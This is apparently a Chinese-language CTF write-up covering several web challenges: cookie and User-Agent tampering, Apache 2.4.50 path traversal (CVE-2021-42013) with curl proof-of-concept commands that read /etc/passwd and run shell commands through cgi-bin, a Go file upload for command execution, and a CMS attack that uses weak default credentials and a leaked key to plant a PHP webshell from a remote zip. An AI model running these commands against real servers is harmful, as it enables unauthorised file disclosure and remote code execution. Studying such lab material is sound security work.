开启环境后,我们发现了一个 login by GUEST
我们对其进行抓包 根据提示:只有admin才可以获取flag
更改cookie为admin=1 得到flag
在网站源码里,发现了一串 hex编码 对其解码
let ua = "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35"; console["\x6c\x6f\x67"]
string="\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35"
#Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
print(string)
#log
print("\x6c\x6f\x67")
更改user-Agent 为 得到的浏览器
得到flag
没有信息,源码里有一个:pwd:/usr/local/apache2/
抓包后在返回包信息中得到 server版本为 Apache/2.4.50 (Unix)
搜索后可知是 CVE-2021-42013
参考:Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)
漏洞利用poc:
curl -v --path-as-is 目标地址:端口/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
查看任意文件:
证明存在此漏洞。
目标服务器开启cgi或者cgid时候,可以命令执行
curl -v --data "echo;命令" '目标地址:端口/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
我们查看一下日志,看看有没有flag信息:
在日志中发现了flag的信息
这个是假的flag,那么看看下面的那个fffffflalllallalagggggggggg
我们请求一下这个fffffflalllallalagggggggggg,得到flag
知识点:golang、文件上传、rce
一道go的题目,对这方面不太了解,不过这道题还是比较简单的go
可以点击,点进去 之后是一个list
挨个点击可以获得一些对应的文件和回显
whoami :"root"
whereami:"/home/main"
uptime:" 14:29:19 up 2 min, 0 users, load average: 11.68, 13.99, 13.58"
flag:DASCTF{THIS_IS_FAKE_FLAG}
但是users文件不存在
所有需要我们上传一个users.go文件,然后其执行,我们访问users,会返回文件执行结果
我们搜索一个执行命令的go文件
Go语言中用 os/exec 执行命令的五种姿势 - 知乎
/目录下执行 ls -l命令 发现了flag
更改users.go文件的命令,再上传 执行 cat /flag 得到flag
cmd := exec.Command("cat", "/flag")
打开发现是一个漫城cmd,在url里加上/admin.php进入登陆窗口
弱口令:用户名:admin 密码:123456
在ezcms\sys\apps\controllers\admin
目录下,注意其中的Update.php
在Update.php中,会去根据GET方式传的url,下载远程的zip包
然后将压缩包解压,将里面的文件放在我们能访问到的目录下,所以可以传一个木马
但是需要用到
sys_auth
函数的对我们传入的字符串进行解密为http://ip//a.zip
这样的格式,然后才进行下载
这个sys_auth
函数不能单独
直接在本地使用,因为其中有个Mc_Encryption_Key
全局变量
跟进得到 Mc_Encryption_Key
的值
//encryption_key密钥
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
最后直接赋值sys_auth函数作为加密构筑即可。
提前在vps放上a.zip,a.zip中放入我们的php一句话木马 密码为1vxyz
最终exp
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?